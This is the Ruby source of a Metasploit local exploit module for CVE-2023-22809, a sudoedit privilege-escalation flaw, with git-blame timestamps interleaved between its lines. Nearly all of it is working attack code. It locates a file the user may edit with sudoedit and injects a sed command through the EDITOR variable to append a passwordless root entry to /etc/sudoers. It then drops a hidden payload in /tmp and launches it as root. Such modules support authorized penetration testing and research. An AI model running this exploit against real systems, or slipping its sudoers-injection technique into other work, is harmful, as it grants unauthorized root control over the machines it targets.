2023-04-25 04:37:33 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = ExcellentRanking
include Msf :: Post :: Linux :: Priv
include Msf :: Post :: Linux :: System
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Sudoedit Extra Arguments Priv Esc' ,
'Description' = > %q{
2023-04-25 20:54:48 -04:00
This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.
The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided
environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to
append arbitrary entries to the list of files to process. This can lead to privilege escalation.
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
privileges.
2023-05-05 16:43:47 -04:00
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
22.04 and 22.10.
2023-04-25 20:54:48 -04:00
2023-05-05 16:43:47 -04:00
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
1.9.11p3-1ubuntu1 on Ubuntu 22.10.
2023-04-25 04:37:33 -04:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # msf module
'Matthieu Barjole' , # original PoC, analysis
'Victor Cutillas' # original PoC, analysis
] ,
'Platform' = > [ 'linux' ] ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = > [ [ 'Auto' , { } ] ] ,
'Privileged' = > true ,
'References' = > [
[ 'EDB' , '51217' ] ,
[ 'URL' , 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ] ,
[ 'URL' , 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ] ,
[ 'URL' , 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ] ,
[ 'URL' , 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ] ,
[ 'URL' , 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ] ,
[ 'URL' , 'https://www.sudo.ws/security/advisories/sudoedit_any/' ] ,
[ 'CVE' , '2023-22809' ]
] ,
'DisclosureDate' = > '2023-01-18' ,
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS , ARTIFACTS_ON_DISK , CONFIG_CHANGES ]
}
)
)
register_advanced_options [
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
OptString . new ( 'EDITABLEFILE' , [ false , 'A file which can be edited with sudo -e or sudoedit' ] ) ,
2023-05-05 16:43:47 -04:00
OptString . new ( 'SHELL' , [ true , 'A shell we can launch our payload from. Bash or SH should be safe' , '/bin/sh' ] ) ,
OptInt . new ( 'TIMEOUT' , [ true , 'The timeout waiting for sudo commands to respond' , 10 ] ) ,
2023-04-25 04:37:33 -04:00
]
end
2023-05-05 16:43:47 -04:00
def timeout
datastore [ 'TIMEOUT' ]
end
2023-04-25 04:37:33 -04:00
# Simplify pulling the writable directory variable
def base_dir
datastore [ 'WritableDir' ] . to_s
end
def get_editable_file
2023-05-13 15:49:11 -04:00
if datastore [ 'EDITABLEFILE' ] . present?
fail_with ( Failure :: BadConfig , 'EDITABLEFILE must be a file.' ) unless file? ( datastore [ 'EDITABLEFILE' ] )
vprint_status ( " Using user defined EDITABLEFILE: #{ datastore [ 'EDITABLEFILE' ] } " )
return datastore [ 'EDITABLEFILE' ]
end
2023-04-25 04:37:33 -04:00
2023-05-16 16:18:14 -04:00
# we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to
2023-04-25 04:37:33 -04:00
# be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut
2023-05-16 16:18:14 -04:00
editable_file = cmd_exec ( 'sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev' )
2023-04-25 04:37:33 -04:00
editable_file = editable_file . strip
2023-05-13 15:49:11 -04:00
if editable_file . nil? || editable_file . empty? || editable_file . include? ( 'a terminal is required to read the password' ) || editable_file . include? ( 'password for' )
2023-04-25 04:37:33 -04:00
return nil
end
2023-05-13 15:49:11 -04:00
return nil unless file? ( editable_file )
2023-04-25 04:37:33 -04:00
editable_file
end
2023-05-05 16:43:47 -04:00
def get_sudo_version_from_sudo
package = cmd_exec ( 'sudo --version' )
package = package . split ( ' ' ) [ 2 ] # Sudo version XXX
begin
Rex :: Version . new ( package )
rescue ArgumentError
# this happens on systems like debian 8.7.1 which doesn't have sudo
Rex :: Version . new ( 0 )
end
end
2023-04-25 04:37:33 -04:00
def check
sys_info = get_sysinfo
2023-05-02 18:39:59 -04:00
# Check the app is installed and the version
2023-05-05 16:43:47 -04:00
if sys_info [ :distro ] == 'ubuntu' || sys_info [ :distro ] == 'debian'
2023-05-02 18:39:59 -04:00
package = cmd_exec ( 'dpkg -l sudo | grep \'^ii\'' )
2023-05-05 16:43:47 -04:00
package = package . split ( ' ' ) [ 2 ] # ii, package name, version, arch
begin
ver_no = Rex :: Version . new ( package )
rescue ArgumentError
ver_no = get_sudo_version_from_sudo
end
2023-05-02 18:39:59 -04:00
else
2023-05-05 16:43:47 -04:00
ver_no = get_sudo_version_from_sudo
2023-05-02 18:39:59 -04:00
end
2023-04-25 04:37:33 -04:00
# according to CVE listing, but so much backporting...
minimal_version = '1.8.0'
maximum_version = '1.9.12p1'
2023-05-05 16:43:47 -04:00
exploitable = false
2023-04-25 04:37:33 -04:00
# backporting... so annoying.
# https://ubuntu.com/security/CVE-2023-22809
2023-05-05 16:43:47 -04:00
if sys_info [ :distro ] == 'ubuntu'
if sys_info [ :version ] . include? '22.10' # kinetic
exploitable = true
2023-04-25 04:37:33 -04:00
maximum_version = '1.9.11p3-1ubuntu1.1'
2023-05-05 16:43:47 -04:00
elsif sys_info [ :version ] . include? '22.04' # jammy
exploitable = true
2023-04-25 04:37:33 -04:00
maximum_version = '1.9.9-1ubuntu2.2'
2023-05-05 16:43:47 -04:00
elsif sys_info [ :version ] . include? '20.04' # focal
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.31-1ubuntu1.4'
2023-05-05 16:43:47 -04:00
elsif sys_info [ :version ] . include? '18.04' # bionic
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.21p2-3ubuntu1.5'
2023-05-05 16:43:47 -04:00
elsif sys_info [ :version ] . include? '16.04' # xenial
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.16-0ubuntu1.10+esm1'
2023-05-05 16:43:47 -04:00
elsif sys_info [ :version ] . include? '14.04' # trusty
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
end
end
2023-05-05 16:43:47 -04:00
if ver_no == Rex :: Version . new ( 0 )
return Exploit :: CheckCode :: Unknown ( 'Unable to detect sudo version' )
end
2023-04-25 04:37:33 -04:00
if ver_no < Rex :: Version . new ( maximum_version ) && ver_no > = Rex :: Version . new ( minimal_version )
vprint_good ( " sudo version #{ ver_no } is vulnerable " )
# check if theres an entry in /etc/sudoers that allows us to edit a file
editable_file = get_editable_file
if editable_file . nil?
2023-05-05 16:43:47 -04:00
if exploitable
return CheckCode :: Appears ( " Sudo #{ ver_no } is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually " )
else
return CheckCode :: Appears ( " Sudo #{ ver_no } is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module " )
end
elsif exploitable
2023-04-25 04:37:33 -04:00
return CheckCode :: Vulnerable ( " Sudo #{ ver_no } is vulnerable, can edit: #{ editable_file } " )
2023-05-05 16:43:47 -04:00
else
2023-05-13 15:49:11 -04:00
return CheckCode :: Vulnerable ( " Sudo #{ ver_no } is vulnerable, can edit: #{ editable_file } . OS can NOT be exploited by this module " )
2023-04-25 04:37:33 -04:00
end
end
CheckCode :: Safe ( " sudo version #{ ver_no } may NOT be vulnerable " )
end
def exploit
# Check if we're already root
if ! datastore [ 'ForceExploit' ] && is_root?
2023-05-02 18:39:59 -04:00
fail_with Failure :: None , 'Session already has root privileges. Set ForceExploit to override'
2023-04-25 04:37:33 -04:00
end
if get_editable_file . nil?
fail_with Failure :: BadConfig , 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'
end
# Make sure we can write our exploit and payload to the local system
2023-05-13 15:49:11 -04:00
unless writable? ( base_dir ) && directory? ( base_dir )
2023-04-25 04:37:33 -04:00
fail_with Failure :: BadConfig , " #{ base_dir } is not writable "
end
2023-05-13 15:49:11 -04:00
sys_info = get_sysinfo
# Check the app is installed and the version
fail_with ( Failure :: NoTarget , 'Only Ubuntu 22.04 and 22.10 are exploitable by this module' ) unless sys_info [ :distro ] == 'ubuntu'
fail_with ( Failure :: NoTarget , 'Only Ubuntu 22.04 and 22.10 are exploitable by this module' ) unless sys_info [ :version ] . include? ( '22.04' ) || sys_info [ :version ] . include? ( '22.10' )
2023-04-25 04:37:33 -04:00
# Upload payload executable
payload_path = " #{ base_dir } /. #{ rand_text_alphanumeric ( 5 .. 10 ) } "
upload_and_chmodx payload_path , generate_payload_exe
register_file_for_cleanup ( payload_path )
@flag = Rex :: Text . rand_text_alphanumeric ( 12 )
print_status 'Adding user to sudoers'
# we tack on a flag so we can easily grep for this line and clean it up later
2023-04-25 20:54:48 -04:00
command = " EDITOR= \" sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{ datastore [ 'SHELL' ] } \# #{ @flag } ' -- /etc/sudoers \" sudo -S -e #{ get_editable_file } "
2023-04-25 04:37:33 -04:00
vprint_status ( " Executing command: #{ command } " )
output = cmd_exec command , nil , timeout
2023-05-05 16:43:47 -04:00
if output . include? '/etc/sudoers unchanged'
fail_with ( Failure :: NoTarget , 'Failed to edit sudoers, command was unsuccessful' )
2023-04-25 04:37:33 -04:00
end
2023-05-05 16:43:47 -04:00
if output . include? 'sudo: ignoring editor'
fail_with ( Failure :: NotVulnerable , 'sudo is patched' )
end
2023-04-25 04:37:33 -04:00
output . each_line { | line | vprint_status line . chomp }
print_status ( 'Spawning payload' )
# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
# also, attempting to thread off of sudo was problematic, solution was
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
# other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t
output = cmd_exec " sudo -S -b sh -c 'nohup #{ payload_path } > /dev/null 2>&1 &' " , nil , timeout
output . each_line { | line | vprint_status line . chomp }
end
def on_new_session ( session )
if @flag
session . shell_command_token ( " sed -i '/ \# #{ @flag } /d' /etc/sudoers " )
2023-05-05 16:43:47 -04:00
flag_found = session . shell_command_token ( " grep ' #{ @flag } ' /etc/sudoers " )
if flag_found . include? @flag
print_bad ( " Manual cleanup is required, please run: sed -i '/ \# #{ @flag } /d' /etc/sudoers " )
end
2023-04-25 04:37:33 -04:00
end
super
end
end